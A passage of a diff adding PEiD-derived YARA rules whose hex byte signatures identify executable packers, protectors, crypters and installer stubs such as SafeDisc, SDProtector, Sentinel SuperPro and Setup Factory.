+        ep_only = "false"
+    strings:
+        $a = {83 EC 10 53 56 57 E8 C4 01 00}
+    condition:
+        $a
+}
+
+rule PEiD_02025_SafeDisc_4_
+{
+    meta:
+        description = "[SafeDisc 4]"
+        ep_only = "false"
+    strings:
+        $a = {00 00 00 00 00 00 00 00 00 00 00 00 42 6F 47 5F}
+    condition:
+        $a
+}
+
+rule PEiD_02026_SafeDisc_SafeCast_2_xx___3_xx____Macrovision_
+{
+    meta:
+        description = "[SafeDisc/SafeCast 2.xx - 3.xx -> Macrovision]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 60 BB ?? ?? ?? ?? 33 C9 8A 0D 3D ?? ?? ?? 85 C9 74 0C B8 ?? ?? ?? ?? 2B C3 83 E8 05 EB 0E 51 B9 ?? ?? ?? ?? 8B C1 2B C3 03 41 01 59 C6 03 E9 89 43 01 51 68 09 ?? ?? ?? 33 C0 85 C9 74 05 8B 45 08 EB 00 50 E8 76 00 00 00 83 C4 08 59 83 F8 00 74 1C}
+    condition:
+        $a
+}
+rule PEiD_02027_SafeDisc_SafeCast_2_xx___3_xx____Macrovision_
+{
+    meta:
+        description = "[SafeDisc/SafeCast 2.xx - 3.xx -> Macrovision]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 60 BB ?? ?? ?? ?? 33 C9 8A 0D 3D ?? ?? ?? 85 C9 74 0C B8 ?? ?? ?? ?? 2B C3 83 E8 05 EB 0E 51 B9 ?? ?? ?? ?? 8B C1 2B C3 03 41 01 59 C6 03 E9 89 43 01 51 68 09 ?? ?? ?? 33 C0 85 C9 74 05 8B 45 08 EB 00 50 E8 76 00 00 00 83 C4 08 59 83 F8 00 74 1C C6 03 C2 C6 43 01 0C 85 C9 74 09 61 5D B8 00 00 00 00 EB 97 50 A1 29 ?? ?? ?? ?? D0 61 5D EB 46 80 7C 24 08 00 75 3F 51 8B 4C 24 04 89 0D ?? ?? ?? ?? B9 ?? ?? ?? ?? 89 4C 24 04 59 EB 28 50 B8 2D ?? ?? ?? ?? 70 08 8B 40 0C FF D0 B8 2D ?? ?? ?? ?? 30 8B 40 04 FF D0 58 FF 35 ?? ?? ?? ?? C3 72 16 61 13 60 0D E9 ?? ?? ?? ?? CC CC 81 EC E8 02 00 00 53 55 56 57}
+    condition:
+        $a at pe.entry_point
+}
+/*
+rule PEiD_02028_Safeguard_1_0____Simonzh_
+{
+    meta:
+        description = "[Safeguard 1.0 -> Simonzh]"
+        ep_only = "true"
+    strings:
+        $a = {E8 00 00 00 00 EB 29}
+    condition:
+        $a at pe.entry_point
+}
+*/
+rule PEiD_02029_Sc_Obfuscator____SuperCRacker___Sign_by_fly_
+{
+    meta:
+        description = "[Sc Obfuscator -> SuperCRacker ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {60 33 C9 8B 1D ?? ?? ?? ?? 03 1D ?? ?? ?? ?? 8A 04 19 84 C0 74 09 3C ?? 74 05 34 ?? 88 04 19 41 3B 0D ?? ?? ?? ?? 75 E7 A1 ?? ?? ?? ?? 01 05 ?? ?? ?? ?? 61 FF 25 ?? ?? ?? ?? 00 00}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02030_SC_Obfuscator____SuperCRacker_
+{
+    meta:
+        description = "[SC Obfuscator -> SuperCRacker]"
+        ep_only = "true"
+    strings:
+        $a = {60 33 C9 8B 1D 00 ?? ?? ?? 03 1D 08 ?? ?? ?? 8A 04 19 84 C0 74 09 3C ?? 74 05 34 ?? 88 04 19 41 3B 0D 04 ?? ?? ?? 75 E7 A1 08 ?? ?? ?? 01 05 0C ?? ?? ?? 61 FF 25 0C}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02031_SCAN__AV_
+{
+    meta:
+        description = "[SCAN /AV]"
+        ep_only = "true"
+    strings:
+        $a = {1E 0E 1F B8 ?? ?? 8E C0 26 8A 1E ?? ?? 80 ?? ?? 72}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02032_SCRAM__v0_8a1_
+{
+    meta:
+        description = "[SCRAM! v0.8a1]"
+        ep_only = "true"
+    strings:
+        $a = {B4 30 CD 21 3C 02 77 ?? CD 20 BC ?? ?? B9 ?? ?? 8B FC B2 ?? 58 4C}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02033_SCRAM__vC5_
+{
+    meta:
+        description = "[SCRAM! vC5]"
+        ep_only = "true"
+    strings:
+        $a = {B8 ?? ?? 50 9D 9C 58 25 ?? ?? 75 ?? BA ?? ?? B4 09 CD 21 CD 20}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02034_SDC_1_2__Self_Decrypting_Binary_Generator____by_Claes_M_Nyberg_
+{
+    meta:
+        description = "[SDC 1.2 (Self Decrypting Binary Generator) - by Claes M Nyberg]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 A0 91 40 00 E8 DB FE FF FF 55 89 E5 53 83 EC 14 8B 45 08 8B 00 8B 00 3D 91 00 00 C0 77 3B 3D 8D 00 00 C0 72 4B BB 01 00 00 00 C7 44 24 04 00 00 00 00 C7 04 24 08 00 00 00 E8 CE 24 00 00 83 F8 01 0F 84 C4 00 00}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02035_SDC_1_2__Self_Decrypting_Binary_Generator____by_Claes_M_Nyberg_
+{
+    meta:
+        description = "[SDC 1.2 (Self Decrypting Binary Generator) - by Claes M Nyberg]"
+        ep_only = "true"
+    strings:
+        $a = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 A0 91 40 00 E8 DB FE FF FF 55 89 E5 53 83 EC 14 8B 45 08 8B 00 8B 00 3D 91 00 00 C0 77 3B 3D 8D 00 00 C0 72 4B BB 01 00 00 00 C7 44 24 04 00 00 00 00 C7 04 24 08 00 00 00 E8 CE 24 00 00 83 F8 01 0F 84 C4 00 00 00 85 C0 0F 85 A9 00 00 00 31 C0 83 C4 14 5B 5D C2 04 00 3D 94 00 00 C0 74 56 3D 96 00 00 C0 74 1E 3D 93 00 00 C0 75 E1 EB B5 3D 05 00 00 C0 8D B4 26 00 00 00 00 74 43 3D 1D 00 00 C0 75 CA C7 44 24 04 00 00 00 00 C7 04 24 04 00 00 00 E8 73 24 00 00 83 F8 01 0F 84 99 00 00 00 85 C0 74 A9 C7 04 24 04 00 00 00 FF D0 B8 FF FF FF FF EB 9B 31 DB 8D 74 26 00 E9 69 FF FF FF C7 44 24 04 00 00 00 00 C7 04 24 0B 00 00 00 E8 37 24 00 00 83 F8 01 74 7F 85 C0 0F 84 6D FF FF FF C7 04 24 0B 00 00 00 8D 76 00 FF D0 B8 FF FF FF FF E9 59 FF FF FF C7 04 24 08 00 00 00 FF D0 B8 FF FF FF FF E9 46 FF FF FF C7 44 24 04 01 00 00 00 C7 04 24 08 00 00 00 E8 ED 23 00 00 B8 FF FF FF FF 85 DB 0F 84 25 FF FF FF E8 DB 15 00 00 B8 FF FF FF FF E9 16 FF FF FF C7 44 24 04 01 00 00 00 C7 04 24 04 00 00 00 E8 BD 23 00 00 B8 FF FF FF FF E9 F8 FE FF FF C7 44 24 04 01 00 00 00 C7 04 24 0B 00 00 00 E8 9F 23 00 00 B8 FF FF FF FF E9 DA FE FF FF}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02036_SDProtect____Randy_Li_
+{
+    meta:
+        description = "[SDProtect -> Randy Li]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02037_SDProtect________________Randy_Li_
+{
+    meta:
+        description = "[Convert base64 to ASCII U0RQcm90ZWN0KMOIw63CvMO+wrHCo8K7wqTDicOx=) -> Randy Li]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 ?? ?? ?? ?? ?? ?? ?? 00 00 00 ?? ?? ?? ?? 00 00 00}
+    condition:
+        $a
+}
+rule PEiD_02038_SDProtector_1_1x____Randy_Li_
+{
+    meta:
+        description = "[SDProtector 1.1x -> Randy Li]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02039_SDProtector_1_x____Randy_Li_
+{
+    meta:
+        description = "[SDProtector 1.x -> Randy Li]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05 53 00 00 00 51 8B 4C 24 10 89 81 B8 00 00 00 B8 55 01 00 00 89 41 20 33 C0 89 41 04 89 41}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02040_SDProtector_1_x____Randy_Li_
+{
+    meta:
+        description = "[SDProtector 1.x -> Randy Li]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05 53 00 00 00 51 8B 4C 24 10 89 81 B8 00 00 00 B8 55 01 00 00 89 41 20 33 C0 89 41 04 89 41 08 89 41 0C 89 41 10 59 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 33 C0 64 FF 30 64 89 20 9C 80 4C 24 01 01 9D 90 90 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 64 8F 00 58 74 07 75 05 19 32 67 E8 E8 74 27 75 25 EB 00 EB FC 68 39 44 CD 00 59 9C 50 74 0F 75 0D E8 59 C2 04 00 55 8B EC E9 FA FF FF 0E E8 EF FF FF FF 56 57 53 78 03 79 01 E8 68 A2 AF 47 01 59 E8 01 00 00 00 FF 58 05 7B 03 00 00 03 C8 74 C4 75 C2 E8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02041_SDProtector_Basic_Pro_Edition_1_10____Randy_Li__h__
+{
+    meta:
+        description = "[SDProtector Basic/Pro Edition 1.10 -> Randy Li (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 50 83 EC 08 64 A1 00 00 00 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 83 C4 08 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 64 8F 05 00 00 00 00 64 A3 00 00 00 00 83 C4 08 58 74 07 75 05 19 32 67 E8 E8 74 27 75 25 EB 00 EB FC 68 39 44 CD 00 59 9C 50 74 0F 75 0D E8 59 C2 04 00 55 8B EC E9 FA FF FF 0E E8 EF FF FF FF 56 57 53 78 0F 79 0D E8 34 99 47 49 34 33 EF 31 34 52 47 23 68 A2 AF 47 01 59 E8 01 00 00 00 FF 58 05 59 03 00 00 03 C8 74 B8 75 B6 E8 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02042_SDProtector_Basic_Pro_Edition_1_10____Randy_Li_
+{
+    meta:
+        description = "[SDProtector Basic/Pro Edition 1.10 -> Randy Li]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 50 83 EC 08 64 A1 00 00 00 00 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 83 C4 08 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 64}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02043_SDProtector_Basic_Pro_Edition_1_12____Randy_Li__h__
+{
+    meta:
+        description = "[SDProtector Basic/Pro Edition 1.12 -> Randy Li (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05 53 00 00 00 51 8B 4C 24 10 89 81 B8 00 00 00 B8 55 01 00 00 89 41 20 33 C0 89 41 04 89 41 08 89 41 0C 89 41 10 59 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 33 C0 64 FF 30 64 89 20 9C 80 4C 24 01 01 9D 90 90 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 64 8F 00 58 74 07 75 05 19 32 67 E8 E8 74 27 75 25 EB 00 EB FC 68 39 44 CD 00 59 9C 50 74 0F 75 0D E8 59 C2 04 00 55 8B EC E9 FA FF FF 0E E8 EF FF FF FF 56 57 53 78 03 79 01 E8 68 A2 AF 47 01 59 E8 01 00 00 00 FF 58 05 7B 03 00 00 03 C8 74 C4 75 C2 E8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E2}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02044_SDProtector_Pro_1_12_
+{
+    meta:
+        description = "[SDProtector Pro 1.12]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05 53 00 00 00 51 8B 4C 24 10 89 81 B8 00 00 00 B8 55 01 00 00 89 41 20 33 C0 89 41 04 89 41 08 89 41 0C 89 41 10 59 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02045_SDProtector_Pro_Edition_1_16____Randy_Li__h__
+{
+    meta:
+        description = "[SDProtector Pro Edition 1.16 -> Randy Li (h)]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05 53 00 00 00 51 8B 4C 24 10 89 81 B8 00 00 00 B8 55 01 00 00 89 41 18 33 C0 89 41 04 89 41 08 89 41 0C 89 41 10 59 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 33 C0 64 FF 30 64 89 20 9C 80 4C 24 01 01 9D 90 90 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 C3 64 8F 00 58 74 07 75 05 19 32 67 E8 E8 74 27 75 25 EB 00 EB FC 68 39 44 CD 00 59 9C 50 74 0F 75 0D E8 59 C2 04 00 55 8B EC E9 FA FF FF 0E E8 EF FF FF FF 56 57 53 78 03 79 01 E8 68 A2 AF 47 01 59 E8 01 00 00 00 FF 58 05 93 03 00 00 03 C8 74 C4 75 C2 E8}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02046_SDProtector_Pro_Edition_1_16____Randy_Li_
+{
+    meta:
+        description = "[SDProtector Pro Edition 1.16 -> Randy Li]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 1D 32 13 05 68 88 88 88 08 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 58 64 A3 00 00 00 00 58 58 58 58 8B E8 E8 3B 00 00 00 E8 01 00 00 00 FF 58 05 53 00 00 00 51 8B 4C 24 10 89 81 B8 00 00 00 B8 55 01 00 00 89 41 18 33 C0 89 41 04 89 41}
+    condition:
+        $a
+}
+
+rule PEiD_02047_SDProtector_V1_1X____Randy_Li___Sign_by_fly_
+{
+    meta:
+        description = "[SDProtector V1.1X -> Randy Li ! Sign by fly]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 88 88 88 08 64 A1}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02048_SEA_AXE_v2_2_
+{
+    meta:
+        description = "[SEA-AXE v2.2]"
+        ep_only = "true"
+    strings:
+        $a = {FC BC ?? ?? 0E 1F A3 ?? ?? E8 ?? ?? A1 ?? ?? 8B ?? ?? ?? 2B C3 8E C0 B1 03 D3 E3 8B CB BF ?? ?? 8B F7 F3 A5}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02049_SEA_AXE_
+{
+    meta:
+        description = "[SEA-AXE]"
+        ep_only = "true"
+    strings:
+        $a = {FC BC ?? ?? 0E 1F E8 ?? ?? 26 A1 ?? ?? 8B 1E ?? ?? 2B C3 8E C0 B1 ?? D3 E3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02050_SecuPack_v1_5_
+{
+    meta:
+        description = "[SecuPack v1.5]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 F0 53 56 57 33 C0 89 45 F0 B8 CC 3A 40 ?? E8 E0 FC FF FF 33 C0 55 68 EA 3C 40 ?? 64 FF 30 64 89 20 6A ?? 68 80 ?? ?? ?? 6A 03 6A ?? 6A 01 ?? ?? ?? 80}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02051_SecureEXE_3_0____ZipWorx_
+{
+    meta:
+        description = "[SecureEXE 3.0 -> ZipWorx]"
+        ep_only = "true"
+    strings:
+        $a = {E9 B8 00 00 00 ?? ?? ?? 00 ?? ?? ?? 00 ?? ?? ?? 00 00 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02052_SecurePE_1_X____www_deepzone_org_
+{
+    meta:
+        description = "[SecurePE 1.X -> www.deepzone.org]"
+        ep_only = "true"
+    strings:
+        $a = {8B 04 24 E8 00 00 00 00 5D 81 ED 4C 2F 40 00 89 85 61 2F 40 00 8D 9D 65 2F 40 00 53 C3 00 00 00 00 8D B5 BA 2F 40 00 8B FE BB 65 2F 40 00 B9 C6 01 00 00 AD 2B C3 C1 C0 03 33 C3 AB 43 81 FB 8E 2F 40 00 75 05 BB 65 2F 40 00 E2 E7 89 AD 1A 31 40 00 89 AD 55 34 40 00 89 AD 68 34 40 00 8D 85 BA 2F 40 00 50 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02053_SecurePE_1_X_
+{
+    meta:
+        description = "[SecurePE 1.X]"
+        ep_only = "true"
+    strings:
+        $a = {8B 04 24 E8 00 00 00 00 5D 81 ED 4C 2F 40 00 89 85 61 2F 40 00 8D 9D 65 2F 40 00 53 C3 00 00 00 00 8D B5 BA 2F 40 00 8B FE BB 65 2F 40 00 B9 C6 01 00 00 AD 2B C3 C1 C0 03 33 C3 AB 43 81 FB 8E 2F 40 00 75 05 BB 65 2F 40 00 E2 E7 89 AD 1A 31 40 00 89 AD 55}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02054_SEN_Debug_Protector____
+{
+    meta:
+        description = "[SEN Debug Protector???]"
+        ep_only = "true"
+    strings:
+        $a = {BB ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? 29 ?? ?? 4E E8}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02055_Sentinel_SuperPro__Automatic_Protection__6_4_0____Safenet_
+{
+    meta:
+        description = "[Sentinel SuperPro (Automatic Protection) 6.4.0 -> Safenet]"
+        ep_only = "false"
+    strings:
+        $a = {68 ?? ?? ?? ?? 6A 01 6A 00 FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 C9 3D B7 00 00 00 A1 ?? ?? ?? ?? 0F 94 C1 85 C0 89 0D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 55 56 C7 05 ?? ?? ?? ?? 01 00 00 00 FF 15 ?? ?? ?? ?? 01 05 ?? ?? ?? ?? FF 15}
+    condition:
+        $a
+}
+
+rule PEiD_02056_Sentinel_SuperPro__Automatic_Protection__6_4_1____Safenet_
+{
+    meta:
+        description = "[Sentinel SuperPro (Automatic Protection) 6.4.1 -> Safenet]"
+        ep_only = "false"
+    strings:
+        $a = {A1 ?? ?? ?? ?? 55 8B ?? ?? ?? 85 C0 74 ?? 85 ED 75 ?? A1 ?? ?? ?? ?? 50 55 FF 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 55 51 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 15 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 6A 00 6A 00 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 01 00 00 00 5D C2 0C 00}
+    condition:
+        $a
+}
+
+rule PEiD_02057_Sentinel_SuperPro__Automatic_Protection__v6_4_0____Safenet_
+{
+    meta:
+        description = "[Sentinel SuperPro (Automatic Protection) v6.4.0 -> Safenet]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? 6A 01 6A 00 FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 C9 3D B7 00 00 00 A1 ?? ?? ?? ?? 0F 94 C1 85 C0 89 0D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 55 56 C7 05 ?? ?? ?? ?? 01 00 00 00 FF 15 ?? ?? ?? ?? 01 05 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 05 ?? ?? ?? ?? 25 FE FF DF 3F 0D 01 00 20 00 A3 ?? ?? ?? ?? 33 C0 50 C7 04 85 ?? ?? ?? ?? 00 00 00 00 E8 ?? ?? ?? ?? 83 C4 04 83 F8 64 7C ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF D6 68 ?? ?? ?? ?? FF D6 A1 ?? ?? ?? ?? 8B 2D ?? ?? ?? ?? 66 8B 55 00 83 C5 08}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02058_Sentinel_SuperPro__Automatic_Protection__v6_4_1____Safenet_
+{
+    meta:
+        description = "[Sentinel SuperPro (Automatic Protection) v6.4.1 -> Safenet]"
+        ep_only = "true"
+    strings:
+        $a = {A1 ?? ?? ?? ?? 55 8B ?? ?? ?? 85 C0 74 ?? 85 ED 75 ?? A1 ?? ?? ?? ?? 50 55 FF 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 55 51 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 15 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 6A 00 6A 00 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 01 00 00 00 5D C2 0C 00 68 ?? ?? ?? ?? 6A 01 6A 00 FF 15 ?? ?? ?? ?? A3 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 C9 3D B7 00 00 00 A1 ?? ?? ?? ?? 0F 94 C1 85 C0 89 0D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 56 C7 05 ?? ?? ?? ?? 01 00 00 00 FF 15 ?? ?? ?? ?? 01 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 05 ?? ?? ?? ?? 25 FE FF DF 3F 0D 01 00 20 00 A3 ?? ?? ?? ?? 33 C0 50 C7 04 ?? ?? ?? ?? ?? 00 00 00 00 E8}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02059_Setup_Factory_6_0_0_3_Setup_Launcher_
+{
+    meta:
+        description = "[Setup Factory 6.0.0.3 Setup Launcher]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 90 61 40 00 68 70 3B 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 14 61 40 00 33 D2 8A D4 89 15 5C 89 40 00 8B C8 81 E1 FF 00 00 00 89 0D 58 89 40 00 C1 E1 08 03 CA 89 0D 54 89 40 00 C1 E8 10 A3 50 89}
+    condition:
+        $a
+}
+
+rule PEiD_02060_Setup_Factory_6_x_Custom_
+{
+    meta:
+        description = "[Setup Factory 6.x Custom]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 ?? 61 40 00 68 ?? 43 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 ?? 61 40 00 33 D2 8A D4 89 15 A0 A9 40 00 8B C8 81 E1 FF 00 00 00 89 0D}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02061_Setup_Factory_v6_0_0_3_Setup_Launcher_
+{
+    meta:
+        description = "[Setup Factory v6.0.0.3 Setup Launcher]"
+        ep_only = "false"
+    strings:
+        $a = {55 8B EC 6A FF 68 90 61 40 00 68 70 3B 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58 53 56 57 89 65 E8 FF 15 14 61 40 00 33 D2 8A D4 89 15 5C 89 40 00 8B C8 81 E1 FF 00 00 00 89 0D 58 89 40 00 C1 E1 08 03 CA 89 0D 54 89 40 00 C1 E8 10 A3 50 89 40 00 33 F6 56 E8 E0 00 00 00 59 85 C0 75 08 6A 1C E8 B0 00 00 00 59 89 75 FC E8 E6 0F 00 00 FF 15 10 61 40 00 A3 40 8E 40 00 E8 A4 0E 00 00 A3 90 89 40 00 E8 4D 0C 00 00 E8 8F 0B 00 00 E8 22 FE FF FF 89 75 D0 8D 45 A4 50 FF 15 0C 61 40 00 E8 20 0B 00 00 89 45 9C F6 45 D0 01 74 06 0F B7 45 D4 EB 03 6A 0A 58 50 FF 75 9C 56 56 FF 15 08 61 40 00 50 E8 5A E9 FF FF 89 45 A0 50 E8 10 FE FF FF 8B 45}
+    condition:
+        $a
+}
+
+rule PEiD_02062_Setup2Go_Installer_Stub_
+{
+    meta:
+        description = "[Setup2Go Installer Stub]"
+        ep_only = "false"
+    strings:
+        $a = {5B 53 45 54 55 50 5F 49 4E 46 4F 5D 0D 0A 56 65 72}
+    condition:
+        $a
+}
+
+rule PEiD_02063_Sexe_Crypter_1_1___by_santasdad_
+{
+    meta:
+        description = "[Sexe Crypter 1.1 - by santasdad]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 83 C4 EC 53 56 57 33 C0 89 45 EC B8 D8 39 00 10 E8 30 FA FF FF 33 C0 55 68 D4 3A 00 10 64 FF 30 64 89 ?? ?? ?? ?? E4 3A 00 10 A1 00 57 00 10 50 E8 CC FA FF FF 8B D8 53 A1 00 57 00 10 50 E8 FE FA FF FF 8B F8 53 A1 00 57 00 10 50 E8 C8 FA FF FF 8B D8 53 E8 C8 FA FF FF 8B F0 85 F6 74 26 8B D7 4A B8 14 57 00 10 E8 AD F6 FF FF B8 14 57 00 10 E8 9B F6 FF FF 8B CF 8B D6 E8 DA FA FF FF 53 E8 84 FA FF FF 8D 4D EC BA F8 3A 00 10 A1 14 57 00 10 E8 0A FB FF FF 8B 55 EC B8 14 57 00 10 E8 65 F5 FF FF B8 14 57 00 10 E8 63 F6 FF FF E8 52 FC FF FF 33 C0 5A 59 59 64 89 10 68 DB 3A 00 10 8D 45 EC E8 ED F4 FF FF C3 E9 83 EF FF FF EB F0 5F 5E 5B E8 ED F3 FF FF 00 53 45 54 54 49 4E 47 53 00 00 00 00 FF FF FF FF 12 00 00 00 6B 75 74 68 37 36 67 62 62 67 36 37 34 76 38 38 67 79}
+    condition:
+        $a at pe.entry_point
+}
+
+
+/*
+rule PEiD_02064_Sharp_GPB_Graphics_format_
+{
+    meta:
+        description = "[Sharp GPB Graphics format]"
+        ep_only = "false"
+    strings:
+        $a = {4D 00 00 00 00 ?? ?? ?? ?? 08 00 00 00 03 00 00}
+    condition:
+        $a
+}
+*/
+rule PEiD_02065_Shegerd_Dongle_V4_78____MS_Co__
+{
+    meta:
+        description = "[Shegerd Dongle V4.78 -> MS.Co.]"
+        ep_only = "true"
+    strings:
+        $a = {E8 32 00 00 00 B8 ?? ?? ?? ?? 8B 18 C1 CB 05 89 DA 36 8B 4C 24 0C}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_02066_ShellModify_0_1____pll621_
+{
+    meta:
+        description = "[ShellModify 0.1 -> pll621]"
+        ep_only = "true"
+    strings:
+        $a = {55 8B EC 6A FF 68 98 66 41 00 68 3C 3D 41 00 64 A1 00 00 00 00}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02067_shoooo_s_Pack____shoooo_
+{
+    meta:
+        description = "[shoooo's Pack -> shoooo]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 01 00 00 00 C3 C3 11 55 07 8B EC B8 ?? ?? ?? ?? E8}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02068_Shrink_v1_0_
+{
+    meta:
+        description = "[Shrink v1.0]"
+        ep_only = "true"
+    strings:
+        $a = {50 9C FC BE ?? ?? BF ?? ?? 57 B9 ?? ?? F3 A4 8B ?? ?? ?? BE ?? ?? BF ?? ?? F3 A4 C3}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_02069_Shrink_v2_0_
+{
+    meta:
